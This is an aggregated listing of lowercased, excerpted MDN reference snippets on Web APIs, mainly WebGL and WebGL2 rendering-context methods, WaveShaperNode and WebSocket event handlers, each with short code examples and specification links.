... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'oversample' in that specification.
WaveShaperNode - Web APIs
waveshapernode.oversample is an enumerated value indicating if oversampling must be used.
... note: sigmoid functions are commonly used for distortion curves because of their natural properties.
... distortion.curve = makedistortioncurve(400); distortion.oversample = '4x'; specifications specification status comment web audio apithe definition of 'waveshapernode' in that specification.
WebGL2RenderingContext.beginQuery() - Web APIs
the target parameter indicates which kind of query to begin.
... specifications specification status comment webgl 2.0the definition of 'beginquery' in that specification.
... opengl es 3.0the definition of 'glbeginquery' in that specification.
WebGL2RenderingContext.bindBufferRange() - Web APIs
size a glsizeiptr specifying the amount of data that can be read from the buffer.
... examples gl.bindbufferrange(gl.transform_feedback_buffer, 1, buffer, 0, 4); specifications specification status comment webgl 2.0the definition of 'bindbufferrange' in that specification.
... opengl es 3.0the definition of 'glbindbufferrange' in that specification.
WebGL2RenderingContext.bindVertexArray() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
... specifications specification status comment webgl 2.0the definition of 'bindvertexarray' in that specification.
... opengl es 3.0the definition of 'glbindvertexarray' in that specification.
WebGL2RenderingContext.blitFramebuffer() - Web APIs
mask a glbitfield specifying a bitwise or mask indicating which buffers are to be copied.
... examples gl.blitframebuffer(0, 0, canvas.width, canvas.height, 0, 0, canvas.width, canvas.height, gl.color_buffer_bit, gl.nearest); specifications specification status comment webgl 2.0the definition of 'blitframebuffer' in that specification.
... opengl es 3.0the definition of 'glblitframebuffer' in that specification.
WebGL2RenderingContext.createVertexArray() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
... specifications specification status comment webgl 2.0the definition of 'createvertexarray' in that specification.
... opengl es 3.0the definition of 'glgenvertexarrays' in that specification.
WebGL2RenderingContext.getActiveUniformBlockName() - Web APIs
return value a domstring indicating the active uniform block name.
... examples var blockname = gl.getactiveuniformblockname(program, 0); specifications specification status comment webgl 2.0the definition of 'getactiveuniformblockname' in that specification.
... opengl es 3.0the definition of 'glgetactiveuniformblockname' in that specification.
WebGL2RenderingContext.getQueryParameter() - Web APIs
gl.query_result_available: returns a glboolean indicating whether or not a query result is available.
... examples var query = gl.createquery(); gl.beginquery(gl.any_samples_passed, query); var result = gl.getqueryparameter(query, gl.query_result); specifications specification status comment webgl 2.0the definition of 'getqueryparameter' in that specification.
... opengl es 3.0the definition of 'glgetqueryobjectuiv' in that specification.
WebGL2RenderingContext.getUniformBlockIndex() - Web APIs
return value a gluint indicating the uniform block index.
... examples // assuming a shader with the following declaration: // uniform ubodata { // mat4 foo; // } instancename; // use the block name, not the instance name: var blockindex = gl.getuniformblockindex(program, 'ubodata'); specifications specification status comment webgl 2.0the definition of 'getuniformblockindex' in that specification.
... opengl es 3.0the definition of 'glgetuniformblockindex' in that specification.
WebGL2RenderingContext.isQuery() - Web APIs
return value a glboolean indicating whether the given object is a valid webglquery object (true) or not (false).
... gl.isquery(query); specifications specification status comment webgl 2.0the definition of 'isquery' in that specification.
... opengl es 3.0the definition of 'glisquery' in that specification.
WebGL2RenderingContext.isSampler() - Web APIs
return value a glboolean indicating whether the given object is a valid webglsampler object (true) or not (false).
... gl.issampler(sampler); specifications specification status comment webgl 2.0the definition of 'issampler' in that specification.
... opengl es 3.0the definition of 'glissampler' in that specification.
WebGL2RenderingContext.isSync() - Web APIs
return value a glboolean indicating whether the given object is a valid webglsync object (true) or not (false).
... gl.issync(sync); specifications specification status comment webgl 2.0the definition of 'issync' in that specification.
... opengl es 3.0the definition of 'glissync' in that specification.
WebGL2RenderingContext.isTransformFeedback() - Web APIs
return value a glboolean indicating whether the given object is a valid webgltransformfeedback object (true) or not (false).
... gl.istransformfeedback(transformfeedback); specifications specification status comment webgl 2.0the definition of 'istransformfeedback' in that specification.
... opengl es 3.0the definition of 'glistransformfeedback' in that specification.
WebGL2RenderingContext.isVertexArray() - Web APIs
return value a glboolean indicating whether the given object is a valid webglvertexarrayobject object (true) or not (false).
... gl.isvertexarray(vao); specifications specification status comment webgl 2.0the definition of 'isvertexarray' in that specification.
... opengl es 3.0the definition of 'glisvertexarray' in that specification.
WebGL2RenderingContext.readBuffer() - Web APIs
the webgl2renderingcontext.readbuffer() method of the webgl 2 api selects a color buffer as the source for pixels for subsequent calls to copyteximage2d, copytexsubimage2d, copytexsubimage3d or readpixels.
... examples gl.readbuffer(gl.color_attachment0); specifications specification status comment webgl 2.0the definition of 'readbuffer' in that specification.
... opengl es 3.0the definition of 'glreadbuffer' in that specification.
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
gl.texture_mag_filter: a glenum specifying the texture magnification filter.
... gl.texture_min_filter: a glenum specifying the texture minification filter gl.texture_min_lod: a glfloat specifying the minimum level-of-detail value.
... examples var sampler = gl.createsampler(); gl.samplerparameteri(sampler, gl.texture_mag_filter, gl.nearest); specifications the compatibility table in this page is generated from structured data.
WebGL2RenderingContext.transformFeedbackVaryings() - Web APIs
buffermode a glenum specifying the mode to use when capturing the varying variables.
... examples var transformfeedback = gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); var transformfeedbackoutputs = ['gl_position', 'anotheroutput']; gl.transformfeedbackvaryings(shaderprog, transformfeedbackoutputs, gl.interleaved_attribs); gl.linkprogram(shaderprog); specifications specification status comment webgl 2.0the definition of 'transformfeedbackvaryings' in that specification.
... opengl es 3.0the definition of 'gltransformfeedbackvaryings' in that specification.
WebGL2RenderingContext.vertexAttribDivisor() - Web APIs
note: when using webgl 1, the angle_instanced_arrays extension can provide this method, too.
... examples gl.vertexattribdivisor(0, 2); specifications specification status comment webgl 2.0the definition of 'vertexattribdivisor' in that specification.
... opengl es 3.0the definition of 'glvertexattribdivisor' in that specification.
WebGLContextEvent.statusMessage - Web APIs
examples the statusmessage property can contain a platform dependent string with details of an event.
... this can occur, for example, if the webglcontextcreationerror event is fired.
... var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log('webgl context creation failed:' + e.statusmessage || 'unknown error'); }, false); specifications specification status comment webgl 1.0the definition of 'webglcontextevent.statusmessage' in that specification.
WebGLContextEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace"...
... examples with the help of the webgl_lose_context extension, you can simulate the webglcontextlost and webglcontextrestored events: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
... specifications specification status comment webgl 1.0the definition of 'webglcontextevent' in that specification.
WebGLProgram - Web APIs
to create a webglprogram, call the gl context's createprogram() function.
... // use the program gl.useprogram(program); // bind existing attribute data gl.bindbuffer(gl.array_buffer, buffer); gl.enablevertexattribarray(attributelocation); gl.vertexattribpointer(attributelocation, 3, gl.float, false, 0, 0); // draw a single triangle gl.drawarrays(gl.triangles, 0, 3); deleting the program if there is an error linking the program or you wish to delete an existing program, then it is as simple as running webglrenderingcontext.deleteprogram().
... gl.deleteprogram(program); specifications specification status comment webgl 1.0the definition of 'webglprogram' in that specification.
WebGLRenderingContext.bindRenderbuffer() - Web APIs
examples binding a renderbuffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); gl.bindrenderbuffer(gl.renderbuffer, renderbuffer); getting current bindings to check the current renderbuffer binding, query the renderbuffer_binding constant.
... gl.getparameter(gl.renderbuffer_binding); specifications specification status comment webgl 1.0the definition of 'bindrenderbuffer' in that specification.
... opengl es 2.0the definition of 'glbindrenderbuffer' in that specification.
WebGLRenderingContext.blendEquation() - Web APIs
gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status comment webgl 1.0the definition of 'blendequation' in that specification.
... opengl es 2.0the definition of 'glblendequation' in that specification.
... opengl es 3.0the definition of 'glblendequation' in that specification.
WebGLRenderingContext.blendEquationSeparate() - Web APIs
gl.getparameter(gl.blend_equation_rgb) === gl.func_add; // true gl.getparameter(gl.blend_equation_alpha) === gl.func_add; // true specifications specification status comment webgl 1.0the definition of 'blendequationseparate' in that specification.
... opengl es 2.0the definition of 'glblendequationseparate' in that specification.
... opengl es 3.0the definition of 'glblendequationseparate' in that specification.
WebGLRenderingContext.bufferSubData() - Web APIs
examples using buffersubdata var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, 1024, gl.static_draw); gl.buffersubdata(gl.array_buffer, 512, data); specifications specification status comment webgl 1.0the definition of 'buffersubdata' in that specification.
... opengl es 2.0the definition of 'glbuffersubdata' in that specification.
... opengl es 3.0the definition of 'glbuffersubdata' in that specification.
WebGLRenderingContext.clearColor() - Web APIs
this specifies what color values to use when calling the clear() method.
... gl.getparameter(gl.color_clear_value); // float32array[1, 0.5, 0.5, 1] specifications specification status comment webgl 1.0the definition of 'clearcolor' in that specification.
... opengl es 2.0the definition of 'glclearcolor' in that specification.
WebGLRenderingContext.clearDepth() - Web APIs
this specifies what depth value to use when calling the clear() method.
... gl.getparameter(gl.depth_clear_value); // 0.5 specifications specification status comment webgl 1.0the definition of 'cleardepth' in that specification.
... opengl es 2.0the definition of 'glcleardepthf' in that specification.
WebGLRenderingContext.clearStencil() - Web APIs
this specifies what stencil value to use when calling the clear() method.
... gl.getparameter(gl.stencil_clear_value); // 1 specifications specification status comment webgl 1.0the definition of 'clearstencil' in that specification.
... opengl es 2.0the definition of 'glclearstencil' in that specification.
WebGLRenderingContext.commit() - Web APIs
the webglrenderingcontext.commit() method pushes frames back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... syntax void webglrenderingcontext.commit() examples var htmlcanvas = document.createelement('canvas'); var offscreen = htmlcanvas.transfercontroltooffscreen(); var gl = offscreen.getcontext('webgl'); // ...
... // push frames back to the original htmlcanvaselement gl.commit(); specifications specification status comment html living standardthe definition of 'the commit() method of the offscreencanvas object's rendering context' in that specification.
WebGLRenderingContext.compileShader() - Web APIs
the webglrenderingcontext.compileshader() method of the webgl api compiles a glsl shader into binary data so that it can be used by a webglprogram.
... examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, shadersource); gl.compileshader(shader); specifications specification status comment webgl 1.0the definition of 'compileshader' in that specification.
... opengl es 2.0the definition of 'glcompileshader' in that specification.
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
exture_s3tc') || gl.getextension('webkit_webgl_compressed_texture_s3tc') ); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_s3tc_dxt5_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl 1.0the definition of 'compressedteximage2d' in that specification.
... opengl es 2.0the definition of 'glcompressedteximage2d' in that specification.
... opengl es 3.0the definition of 'glcompressedteximage2d' in that specification.
WebGLRenderingContext.copyTexSubImage2D() - Web APIs
yoffset a glint specifying the vertical offset within the texture image.
... examples gl.copytexsubimage2d(gl.texture_2d, 0, 0,0, 0, 0, 16, 16); specifications specification status comment webgl 1.0the definition of 'copytexsubimage2d' in that specification.
... opengl es 2.0the definition of 'glcopytexsubimage2d' in that specification.
WebGLRenderingContext.createRenderbuffer() - Web APIs
return value a webglrenderbuffer object that stores data such an image, or can be source or target of an rendering operation.
... examples creating a render buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); specifications specification status comment webgl 1.0the definition of 'createrenderbuffer' in that specification.
... opengl es 2.0the definition of 'glgenrenderbuffers' in that specification.
WebGLRenderingContext.createShader() - Web APIs
the webglrenderingcontext method createshader() of the webgl api creates a webglshader that can then be configured further using webglrenderingcontext.shadersource() and webglrenderingcontext.compileshader().
... specifications specification status comment webgl 1.0the definition of 'createshader' in that specification.
... opengl es 2.0the definition of 'glcreateshader' in that specification.
WebGLRenderingContext.createTexture() - Web APIs
return value a webgltexture object to which images can be bound to.
... creating a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); specifications specification status comment webgl 1.0the definition of 'createtexture' in that specification.
... opengl es 2.0the definition of 'glgentextures' in that specification.
WebGLRenderingContext.deleteBuffer() - Web APIs
examples deleting a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); // ...
... gl.deletebuffer(buffer); specifications specification status comment webgl 1.0the definition of 'deletebuffer' in that specification.
... opengl es 2.0the definition of 'gldeletebuffers' in that specification.
WebGLRenderingContext.deleteFramebuffer() - Web APIs
examples deleting a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); // ...
... gl.deleteframebuffer(framebuffer); specifications specification status comment webgl 1.0the definition of 'deleteframebuffer' in that specification.
... opengl es 2.0the definition of 'gldeleteframebuffers' in that specification.
WebGLRenderingContext.deleteProgram() - Web APIs
examples deleting a program var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var program = gl.createprogram(); // ...
... gl.deleteprogram(program); specifications specification status comment webgl 1.0the definition of 'deleteprogram' in that specification.
... opengl es 2.0the definition of 'gldeleteprogram' in that specification.
WebGLRenderingContext.deleteRenderbuffer() - Web APIs
examples deleting a renderbuffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); // ...
... gl.deleterenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'deleterenderbuffer' in that specification.
... opengl es 2.0the definition of 'gldeleterenderbuffers' in that specification.
WebGLRenderingContext.deleteShader() - Web APIs
this method has no effect if the shader has already been deleted, and the webglshader is automatically marked for deletion when it is destroyed by the garbage collector.
... examples deleting a shader gl.deleteshader(shader); specifications specification status comment webgl 1.0the definition of 'deleteshader' in that specification.
... opengl es 2.0the definition of 'gldeleteshader' in that specification.
WebGLRenderingContext.deleteTexture() - Web APIs
examples deleting a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); // ...
... gl.deletetexture(texture); specifications specification status comment webgl 1.0the definition of 'deletetexture' in that specification.
... opengl es 2.0the definition of 'gldeletetextures' in that specification.
WebGLRenderingContext.finish() - Web APIs
the webglrenderingcontext.finish() method of the webgl api blocks execution until all previously called commands are finished.
... specifications specification status comment webgl 1.0the definition of 'finish' in that specification.
... opengl es 2.0the definition of 'glfinish' in that specification.
WebGLRenderingContext.flush() - Web APIs
the webglrenderingcontext.flush() method of the webgl api empties different buffer commands, causing all commands to be executed as quickly as possible.
... specifications specification status comment webgl 1.0the definition of 'flush' in that specification.
... opengl es 2.0the definition of 'glflush' in that specification.
WebGLRenderingContext.framebufferRenderbuffer() - Web APIs
examples gl.framebufferrenderbuffer(gl.framebuffer, gl.color_attachment0, gl.renderbuffer, renderbuffer); specifications specification status comment webgl 1.0the definition of 'framebufferrenderbuffer' in that specification.
... opengl es 2.0the definition of 'glframebufferrenderbuffer' in that specification.
... opengl es 3.0the definition of 'glframebufferrenderbuffer' in that specification.
WebGLRenderingContext.framebufferTexture2D() - Web APIs
examples gl.framebuffertexture2d(gl.framebuffer, gl.color_attachment0, gl.texture_2d, texture, 0); specifications specification status comment webgl 1.0the definition of 'framebuffertexture2d' in that specification.
... opengl es 2.0the definition of 'glframebuffertexture2d' in that specification.
... opengl es 3.0the definition of 'glframebuffertexture2d' in that specification.
WebGLRenderingContext.generateMipmap() - Web APIs
examples gl.generatemipmap(gl.texture_2d); specifications specification status comment webgl 1.0the definition of 'generatemipmap' in that specification.
... opengl es 2.0the definition of 'glgeneratemipmap' in that specification.
... opengl es 3.0the definition of 'glgeneratemipmap' in that specification.
WebGLRenderingContext.getActiveUniform() - Web APIs
sampler_2d gl.sampler_3d gl.sampler_cube gl.sampler_2d_shadow gl.sampler_2d_array gl.sampler_2d_array_shadow gl.sampler_cube_shadow gl.int_sampler_2d gl.int_sampler_3d gl.int_sampler_cube gl.int_sampler_2d_array gl.unsigned_int_sampler_2d gl.unsigned_int_sampler_3d gl.unsigned_int_sampler_cube gl.unsigned_int_sampler_2d_array when gl.linkprogram is called, webgl creates a list of active uniforms.
... examples const numuniforms = gl.getprogramparameter(program, gl.active_uniforms); for (let i = 0; i < numuniforms; ++i) { const info = gl.getactiveuniform(program, i); console.log('name:', info.name, 'type:', info.type, 'size:', info.size); } specifications specification status comment webgl 1.0the definition of 'getactiveuniform' in that specification.
... opengl es 2.0the definition of 'glgetactiveuniform' in that specification.
WebGLRenderingContext.getContextAttributes() - Web APIs
examples given this <canvas> element <canvas id="canvas"></canvas> and given this webgl context var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getcontextattributes(); the getcontextattributes method returns an object that describes the attributes set on this context, for example: { alpha: true, antialias: true, depth: true, failifmajorperformancecaveat: false, powerpreference: "default", prem...
...ultipliedalpha: true, preservedrawingbuffer: false, stencil: false, desynchronized: false } the context attributes can be set when creating the context using the htmlcanvaselement.getcontext() method: canvas.getcontext('webgl', { antialias: false, depth: false }); see getcontext() for more information about the individual attributes.
... specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getcontextattributes' in that specification.
WebGLRenderingContext.getError() - Web APIs
gl.context_lost_webgl if the webgl context is lost, this error is returned on the first call to geterror.
... examples gl.geterror(); // gl.no_error (0) gl.enable(gl.foobar); gl.geterror(); // gl.invalid_enum; specifications specification status comment webgl 1.0the definition of 'geterror' in that specification.
... opengl es 2.0the definition of 'glgeterror' in that specification.
WebGLRenderingContext.getExtension() - Web APIs
return value a webgl extension object, or null if name does not match (case-insensitive) to one of the strings in webglrenderingcontext.getsupportedextensions.
... var canvas = document.getelementbyid('canvas'); gl = canvas.getcontext('webgl'); gl.getextension('webgl_lose_context').losecontext(); webgl extensions extensions for the webgl api are registered in the webgl extension registry.
...rtex_array_object ovr_multiview2 webgl_color_buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getextension' in that specification.
WebGLRenderingContext.getVertexAttribOffset() - Web APIs
return value a glintptr indicating the address of the vertex attribute.
... examples gl.getvertexattriboffset(i, gl.vertex_attrib_array_pointer); specifications specification status comment webgl 1.0the definition of 'getvertexattriboffset' in that specification.
... opengl es 2.0the definition of 'glgetvertexattribpointerv' in that specification.
WebGLRenderingContext.isBuffer() - Web APIs
return value a glboolean indicating whether or not the buffer is valid.
... examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.isbuffer(buffer); specifications specification status comment webgl 1.0the definition of 'isbuffer' in that specification.
... opengl es 2.0the definition of 'glisbuffer' in that specification.
WebGLRenderingContext.isFramebuffer() - Web APIs
return value a glboolean indicating whether or not the frame buffer is valid.
... examples checking a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); gl.isframebuffer(framebuffer); specifications specification status comment webgl 1.0the definition of 'isframebuffer' in that specification.
... opengl es 2.0the definition of 'glisframebuffer' in that specification.
WebGLRenderingContext.isRenderbuffer() - Web APIs
return value a glboolean indicating whether or not the renderbuffer is valid.
... examples checking a renderbuffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); gl.isrenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'isrenderbuffer' in that specification.
... opengl es 2.0the definition of 'glisrenderbuffer' in that specification.
WebGLRenderingContext.isTexture() - Web APIs
return value a glboolean indicating whether or not the texture is valid.
... examples checking a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); gl.istexture(texture); specifications specification status comment webgl 1.0the definition of 'istexture' in that specification.
... opengl es 2.0the definition of 'glistexture' in that specification.
WebGLRenderingContext.lineWidth() - Web APIs
because of these implementation defined limits it is not recommended to use line widths other than 1.0 since there is no guarantee any user's browser will display any other width.
... gl.getparameter(gl.aliased_line_width_range); specifications specification status comment webgl 1.0the definition of 'linewidth' in that specification.
... opengl es 2.0the definition of 'gllinewidth' in that specification.
WebGLRenderingContext.stencilFunc() - Web APIs
it is typically used in multipass rendering to achieve special effects.
... gl.getparameter(gl.stencil_func); gl.getparameter(gl.stencil_value_mask); gl.getparameter(gl.stencil_ref); gl.getparameter(gl.stencil_back_func); gl.getparameter(gl.stencil_back_value_mask); gl.getparameter(gl.stencil_back_ref); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilfunc' in that specification.
... opengl es 2.0the definition of 'glstencilfunc' in that specification.
WebGLRenderingContext.stencilFuncSeparate() - Web APIs
it is typically used in multipass rendering to achieve special effects.
... gl.getparameter(gl.stencil_func); gl.getparameter(gl.stencil_value_mask); gl.getparameter(gl.stencil_ref); gl.getparameter(gl.stencil_back_func); gl.getparameter(gl.stencil_back_value_mask); gl.getparameter(gl.stencil_back_ref); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilfuncseparate' in that specification.
... opengl es 2.0the definition of 'glstencilfuncseparate' in that specification.
WebGLRenderingContext.stencilMask() - Web APIs
the webglrenderingcontext.stencilmaskseparate() method can set front and back stencil writemasks to different values.
... gl.getparameter(gl.stencil_writemask); // 110101 gl.getparameter(gl.stencil_back_writemask); // 110101 gl.getparameter(gl.stencil_bits); // 0 specifications specification status comment webgl 1.0the definition of 'stencilmask' in that specification.
... opengl es 2.0the definition of 'glstencilmask' in that specification.
WebGLRenderingContext.stencilMaskSeparate() - Web APIs
the webglrenderingcontext.stencilmask() method can set both, the front and back stencil writemasks to one value at the same time.
... gl.getparameter(gl.stencil_writemask); // 110101 gl.getparameter(gl.stencil_back_writemask); // 110101 gl.getparameter(gl.stencil_bits); // 0 specifications specification status comment webgl 1.0the definition of 'stencilmaskseparate' in that specification.
... opengl es 2.0the definition of 'glstencilmaskseparate' in that specification.
WebGLRenderingContext.validateProgram() - Web APIs
it checks if it is successfully linked and if it can be used in the current webgl state.
...\n\n' + info; } gl.useprogram(program); specifications specification status comment webgl 1.0the definition of 'validateprogram' in that specification.
... opengl es 2.0the definition of 'glvalidateprogram' in that specification.
Hello GLSL - Web APIs
if the canvas remains blank, you can check the output of the next example, which draws exactly the same thing.
...hello glsl!</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_position = vec4(0.0, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 void main() { gl_fragcolor = vec4(0.18, 0...
...0, 1); cleanup(); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } ...
Hello vertex attributes - Web APIs
click on the canvas to change the horizontal position of the square.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version...
..." + "error log: " + linkerrlog; return; } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); document.queryselector("canvas").addeventlistener("click", function (evt) { var clickxrelativtocanvas = evt.pagex - evt.target.offsetleft; var clickxinwebglcoords = 2.0 * (clickxrelativtocanvas- gl.drawingbufferwidth/2) / gl.drawingbufferwidth; gl.bufferdata(gl.array_buffer, new float32array([clickxinwebglcoords]), gl.static_draw); gl.drawarrays(gl.points, 0...
...dbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } window.addeventlistener("beforeunload", cleanup, true); function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } ...
Textures from code - Web APIs
drawing textures with code texturing a point sprite with calculations done per-pixel in the fragment shader.
...simple demonstration of procedural texturing</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 precision highp float; attribute vec2 position; void main() { gl_position = vec4(position, 0.0, 1.0); gl_pointsize = 128.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { vec2 fragmentposition = 2.0*gl_pointcoord - 1.0; float distance = length(fr...
...evertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0, 0.0]), gl.static_draw); gl.vertexattribpointer(0, 2, gl.float, false, 0, 0); } function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } ...
WebGL by example - Web APIs
next » webgl by example is a series of live samples with short explanations that showcase webgl concepts and capabilities.
...you should read all comments, because more advanced examples could not repeat comments about parts of the code that were previously explained.
... canvas size and webgl the example explores the effect of setting (or not setting) the canvas size to its element size in css pixels, as it appears in the browser window.
High-level guides - Web APIs
webrtc (web real-time communications) is a broad, multi-component system for setting up and operating complex audio, video, and data channels across networks among two or more peers on the web.
... the high-level guides listed below introduce webrtc technology from a top-down perspective, describing the overall architecture, the life cycle of a webrtc connection, and basic security and technological issues you might run into as you explore and build web content or apps using the webrtc api.
... in addition, you'll find suggestions as to tools, libraries, and frameworks that might be helpful and compatibility information so you know which parts of the overall suite of webrtc features can be safely used given your target audience.
WebSocket.bufferedAmount - Web APIs
the websocket.bufferedamount read-only property returns the number of bytes of data that have been queued using calls to send() but not yet transmitted to the network.
...this value does not reset to zero when the connection is closed; if you keep calling send(), this will continue to climb.
... specifications specification status comment html living standardthe definition of 'websocket: bufferedamount' in that specification.
WebSocket: close event - Web APIs
bubbles no cancelable no interface closeevent event handler property onclose examples you might want to know when the connection has been closed so that you can update the ui or, perhaps, save data about the closed connection.
... given that you have a variable called examplesocket that refers to an opened websocket, this handler would handle the situation where the socket has been closed.
... examplesocket.addeventlistener('close', (event) => { console.log('the connection has been closed successfully.'); )}; you can perform the same actions using the event handler property, like this: examplesocket.onclose = function (event) { console.log('the connection has been closed successfully.'); }; specifications specification status html living standardthe definition of 'websocket close' in that specification.
WebSocket.onclose - Web APIs
WebAPIWebSocketonclose
the websocket.onclose property is an eventhandler that is called when the websocket connection's readystate changes to closed.
... it is called with a closeevent.
... specifications specification status comment html living standardthe definition of 'websocket: onclose' in that specification.
WebSocket.onerror - Web APIs
WebAPIWebSocketonerror
the websocket interface's onerror event handler property is a function which gets called when an error occurs on the websocket.
... you can also add an error event handler using addeventlistener().
... example websocket.onerror = function(event) { console.error("websocket error observed:", event); }; specifications specification status comment html living standardthe definition of 'websocket: onerror' in that specification.
WebSocket.onmessage - Web APIs
the websocket.onmessage property is an eventhandler that is called when a message is received from the server.
... it is called with a messageevent.
... specifications specification status comment html living standardthe definition of 'websocket: onmessage' in that specification.
WebSocket.onopen - Web APIs
WebAPIWebSocketonopen
the websocket.onopen property is an eventhandler that is called when the websocket connection's readystate changes to 1; this indicates that the connection is ready to send and receive data.
... it is called with an event.
... specifications specification status comment html living standardthe definition of 'websocket: onopen' in that specification.
Window: DOMContentLoaded event - Web APIs
